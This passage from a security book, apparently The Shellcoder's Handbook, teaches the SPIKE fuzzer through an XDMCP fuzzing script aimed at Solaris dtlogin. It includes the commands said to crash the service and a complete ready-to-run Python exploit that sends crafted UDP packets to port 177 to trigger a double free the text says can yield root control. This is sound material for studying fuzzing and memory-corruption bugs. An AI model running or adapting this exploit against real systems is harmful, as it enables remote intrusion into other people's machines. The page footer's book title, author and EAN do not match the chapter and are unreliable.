Other Fuzzer Possibilities

SPIKE

Now that you know quite a bit about fuzzers in general, we're going to look at one fuzzer in particular, and view several examples showing how effective a good fuzzer can be, even with somewhat complex protocols. The fuzzer we're choosing to examine is called SPIKE and is available under the GNU Public License from www.immunitysec.com .

What Is a Spike?

SPIKE uses a somewhat unique data structure among fuzzers called a spike . For those of you familiar with compiler theory, the things a spike does to keep track of a block of data will sound eerily similar to the things a one-pass assembler will have to do. This is because SPIKE basically assembles a block of data and keeps track of lengths within it.

To demonstrate how SPIKE works, we'll run through a few quick examples. SPIKE is written in C; therefore, the following examples will be in C. The basic picture looks like the following code, from a high level. Initially, the data buffer is empty.

 Data: <> s_binary("00 01 02 03"); //push some binary data onto the spike     Data: <00 01 02 03>     s_block_size_big-endian_word("Blockname");     Data: <00 01 02 03 00 00 00 00> 

We've reserved some space in the buffer for a big-endian word, which is 4 bytes long.

 s_block_start("Blockname"); Data: <00 01 02 03 00 00 00 00> 

Here we push 4 more bytes onto the spike:

 s_binary("05 06 07 08"); Data: <00 01 02 03 00 00 00 00 05 06 07 08> 

Notice that upon ending the block, the 4 gets inserted as the size of the block.

 s_block_end("Blockname"); Data: <00 01 02 03 00 00 00 04 05 06 07 08> 

That was a fairly simple example, but this sort of data structure ”being able to go back and fill in the sizes ”is the key to the SPIKE fuzzer creation kit. SPIKE also provides routines to marshal (take a data structure in memory and format it for network transmission) many types of data structures that are commonly found in network protocols. For example, strings are commonly represented as:

 <length in big-endian word format> <string in ascii format> <null zero>  <padding to next word boundary> 

Likewise, integers can be represented in many formats and endians, and SPIKE contains routines to transform them into whatever your protocol needs.

Why Use the SPIKE Data Structure to Model Network Protocols?

There are many benefits of using SPIKE (or an API just like SPIKE's) to model arbitrary network protocols. The SPIKE API will linearize any network protocol so that it can then be represented as a series of unknown binary data, integers, size values, and strings. SPIKE can then loop through the protocol and fuzz each integer, size value, or string in turn . As each string gets fuzzed, any size values of blocks that encapsulate that string are changed to reflect the current length of the block.

The traditional alternative to SPIKE is to precompute sizes, or to write the protocol in a functional manner, the way the actual client does. These alternatives both take more time, and don't allow for easy access to each string by a fuzzer.

Various Programs Included with SPIKE

SPIKE includes many sample fuzzers for different protocols. Most notable is the inclusion of both MSRPC and SunRPC fuzzers. In addition, a set of generic fuzzers is available for use when you need a normal TCP or UDP connection. These fuzzers provide good examples for you if you want to start fuzzing a new protocol. Most comprehensively supported by SPIKE is HTTP. SPIKE's HTTP fuzzers have found bugs in almost every major Web platform and are a good starting point if you want to fuzz a Web server or Web server component.

As SPIKE matures (SPIKE was two years old in August 2003), expect it to begin to incorporate runtime analysis and add support for additional data types and protocols.

SPIKE Example: dtlogin

SPIKE can have a steep initial learning curve. However, in the hands of an experienced user , bugs that would almost never be found even by experienced code reviewers can be quickly and easily located.

Take, for example, the XDMCPD protocol offered by most Unix workstations. Although in many cases, a SPIKE user will try to disassemble a protocol by hand, in this case, the protocol is amply dissected by Ethereal, a free network analysis tool ( www.ethereal.com ), as seen in Figure 15.1.

click to expand
Figure 15.1: A Screenshot of Ethereal Dissection of X -query

Making this a SPIKE file results in the following:

 //xdmcp_request.spk //compatable with SPIKE 2.6 or above //port 177 UDP //use these requests to crash it: //[dave@localhost src]$ ./generic_send_udp 192.168.1.104 177  ~/spikePRIVATE/xdmcp_request.spk 2 28 2  //[dave@localhost src]$ ./generic_send_udp 192.168.1.104 177  ~/spikePRIVATE/xdmcp_request.spk 4 19 1     //version s_binary("00 01"); //Opcode (request=07) //3 is onebyte //5 is two byte big endian s_int_variable(0x0007,5); //message length //s_binary("00 17 "); s_binary_block_size_halfword_bigendian("message"); s_block_start("message"); //display number s_int_variable(0x0001,5); //connections s_binary("01"); //internet type s_int_variable(0x0000,5); //address 192.168.1.100 //connection 1 s_binary("01"); //size in bytes //s_binary("00 04"); s_binary_block_size_halfword_bigendian("ip"); //ip s_block_start("ip"); s_binary("c0 a8 01 64"); s_block_end("ip"); //authentication name //s_binary("00 00"); s_binary_block_size_halfword_bigendian("authname"); s_block_start("authname"); s_string_variable(""); s_block_end("authname");     //authentication data s_binary_block_size_halfword_bigendian("authdata"); s_block_start("authdata"); s_string_variable(""); s_block_end("authdata"); //s_binary("00 00"); //authorization names (2) //3 is one byte s_int_variable(0x02,3);     //size of string in big endian halfword order s_binary_block_size_halfword_bigendian("MIT"); s_block_start("MIT"); s_string_variable("MIT-MAGIC-COOKIE-1"); s_block_end("MIT");     s_binary_block_size_halfword_bigendian("XC"); s_block_start("XC"); s_string_variable("XC-QUERY-SECURITY-1"); s_block_end("XC");     //manufacture display id s_binary_block_size_halfword_bigendian("DID"); s_block_start("DID"); s_string_variable(""); s_block_end("DID");     s_block_end("message"); 

The important thing about this file is that it is basically a direct copy of the Ethereal dissection. The structure of the protocol is maintained but flattened out for our use. As SPIKE runs this file, it will progressively generate modified xdmcp request packets and send them at the target. At some point, on Solaris, the server program will twice free() a buffer that we control. This is a classic double free bug, which can be used to get control of the remote service running as root. Because dtlogin (the program that crashes) is included with many versions of Unix, such as AIX, Tru64, Irix, and others that include CDE, you can be reasonably sure that this exploit will cover those platforms as well. Not bad for an hour 's work.

The following .spk is a good example of a SPIKE file that is more complex than the trivial example shown earlier, but it is still easily understandable, because the protocol is somewhat known. As you can see, multiple blocks can be interlaced within each other, and SPIKE will update as many sizes as are necessary. Finding the vulnerability was not a matter of reading the source, or even deeply analyzing the protocol, and could, in fact, be generated automatically by an Ethereal dissection parser.

Narrowing in on this attack we come to:

 #!/usr/bin/python #Copyright: Dave Aitel #license: GPLv2.0 #SPIKEd! :> #v 0.3 9/17.02     import os import sys import socket import time     #int to intelordered string conversion def intel_order(myint):     str=""     a=chr(myint % 256)     myint=myint >> 8     b=chr(myint % 256)     myint=myint >> 8     c=chr(myint % 256)     myint=myint >> 8     d=chr(myint % 256)          str+="%c%c%c%c" % (a,b,c,d)         return str     def sun_order(myint):     str=""     a=chr(myint % 256)     myint=myint >> 8     b=chr(myint % 256)     myint=myint >> 8     c=chr(myint % 256)     myint=myint >> 8     d=chr(myint % 256)          str+="%c%c%c%c" % (d,c,b,a)         return str     #returns a binary version of the string def binstring(instring,size=1):     result=""     #erase all whitespace     tmp=instring.replace(" ","")     tmp=tmp.replace("\n","")     tmp=tmp.replace("\t","")         if len(tmp) % 2 != 0:         print "tried to binstring something of illegal length"         return ""         while tmp!="":         two=tmp[:2]         #account for 0x and \x stuff         if two!="0x" and two!="\x":             result+=chr(int(two,16))         tmp=tmp[2:]         return result*size     #for translation from .spk def s_binary(instring):     return binstring(instring)     #overwrites a string in place...hard to do in python def stroverwrite(instring,overwritestring,offset):     head=instring[:offset]     #print head     tail=instring[offset+len(overwritestring):]     #print tail     result=head+overwritestring+tail     return result     #let's not mess up our tty def prettyprint(instring):     tmp=""     for ch in instring:        if ch.isalpha():            tmp+=ch        else:            value="%x" % ord(ch)            tmp+="["+value+"]"             return tmp     #this packet contains a lot of data packet1="" packet1+=binstring("0x00 0x01 0x00 0x07 0x00 0xaa 0x00 0x01 0x01 0x00") packet1+=binstring("0x00 0x01 0x00 0x04 0xc0 0xa8 0x01 0x64 0x00 0x00  0x00 0x00 0x02 0x00") packet1+=binstring("0x80")     #not freed? packet1+=binstring("0xfe 0xfe 0xfe 0xfe ") #this is the string that gets freed right here packet1+=binstring("0xfe 0xfe 0xfe 0xfe 0xfe 0xfe 0xfe 0xfe 0xfe 0xf1  0xf2 0xf3")     packet1+=binstring("0xaa 0xaa 0xaa 0xaa 0xaa 0xaa 0xaa 0xaa 0xaa 0xaa  0xaa 0xff")     #here is what is actually passed into free() next time #i0 packet1+=sun_order(0xfefbb5f0)     packet1+=binstring("0xcf 0xdf 0xef 0xcf ")     #second i0 if we pass first i0 packet1+=sun_order(0x51fc8)     packet1+=binstring("0xff 0xaa 0xaa 0xaa")     #third and last packet1+=sun_order(0xffbed010)     packet1+=binstring("0xaa 0xaa 0xaa 0xaa 0xaa 0xaa 0xaa") packet1+=binstring("0xff 0x5f 0xff 0xff 0xff 0x9f 0xff 0xff 0xff 0xff  0xff 0xff 0xff 0xff") packet1+=binstring("0xff 0x3f 0xff 0xff 0xff 0xff 0xff 0xff 0xff 0xff  0xff 0xff 0xff 0xff") packet1+=binstring("0xff 0xff 0xff 0x3f 0xff 0xff 0xff 0x2f 0xff 0xff  0x1f 0xff 0xff 0xff") packet1+=binstring("0xff 0xfa 0xff 0xfc 0xff 0xfb 0xff 0xff 0xfc 0xff  0xff 0xff 0xfd 0xff") packet1+=binstring("0xf1 0xff 0xf2 0xff 0xf3 0xff 0xf4 0xff 0xf5 0xff  0xf6 0xff 0xf7 0xff") packet1+=binstring("0xff 0xff 0xff ") #end of string packet1+=binstring("0x00 0x13 0x58 0x43 0x2d 0x51 0x55 0x45 0x52 0x59  0x2d") packet1+=binstring("0x53 0x45 0x43 0x55 0x52 0x49 0x54 0x59 0x2d 0x31  0x00 0x00 ")     #this packet causes the memory overwrite packet2="" packet2+=binstring("0x00 0x01 0x00 0x07 0x00 0x3c 0x00 0x01") packet2+=binstring("0x01 0x00 0x00 0x01 0x00 0x04 0xc0 0xa8 0x01  0x64 0x00 0x00 0x00 0x00") packet2+=binstring("0x06 0x00 0x12 0x4d 0x49 0x54 0x2d 0x4d 0x41  0x47 0x49 0x43 0x2d 0x43") packet2+=binstring("0x4f 0x4f 0x4b 0x49 0x45 0x2d 0x31 0x00 0x13  0x58 0x43 0x2d 0x51 0x55") packet2+=binstring("0x45 0x52 0x59 0x2d 0x53 0x45 0x43 0x55 0x52  0x49 0x54 0x59 0x2d 0x31") packet2+=binstring("0x00 0x00")             class xdmcpdexploit:     def __init__(self):         self.port=177         self.host=""         return         def setPort(self,port):         self.port=port         return         def setHost(self,host):         self.host=host         return         def run(self):         #first make socket connection to target 177         s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)         s.connect((self.host, self.port))         #sploitstring=self.makesploit()         print "[*] Sending first packet..."         s.send(packet1)         time.sleep(1)         print "[*] Receiving first response."         result = s.recv(1000)         print "result="+prettyprint(result)         if prettyprint(result)=="[0][1][0][9][0][1c][0][16]No[20]valid[20] authorization[0][0][0][0]":             print "That was expected. Don't panic. We're not valid ever. :>"         s.close()             s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)         s.connect((self.host, self.port))         print "[*] Sending second packet"         s.send(packet2)         #time.sleep(1)         #result = s.recv(1000)         s.close()         #success         print "[*] Done."         #this stuff happens. if __name__ == '__main__':         print "Running xdmcpd exploit v 0.1"     print "Works on dtlogin Solaris 8"     app = xdmcpdexploit()     if len(sys.argv) < 2:         print "Usage: xdmcpx.py target [port]"         sys.exit()              app.setHost(sys.argv[1])     if len(sys.argv) == 3:         app.setPort(int(sys.argv[2]))                  app.run() 


The Shellcoder's Handbook. Discovering and Exploiting Security
Hacking Ubuntu: Serious Hacks Mods and Customizations (ExtremeTech)
ISBN: N/A
EAN: 2147483647
Year: 2003
Pages: 198
Authors: Neal Krawetz

flylib.com © 2008-2017.
If you may any questions please contact us: flylib@qtcs.net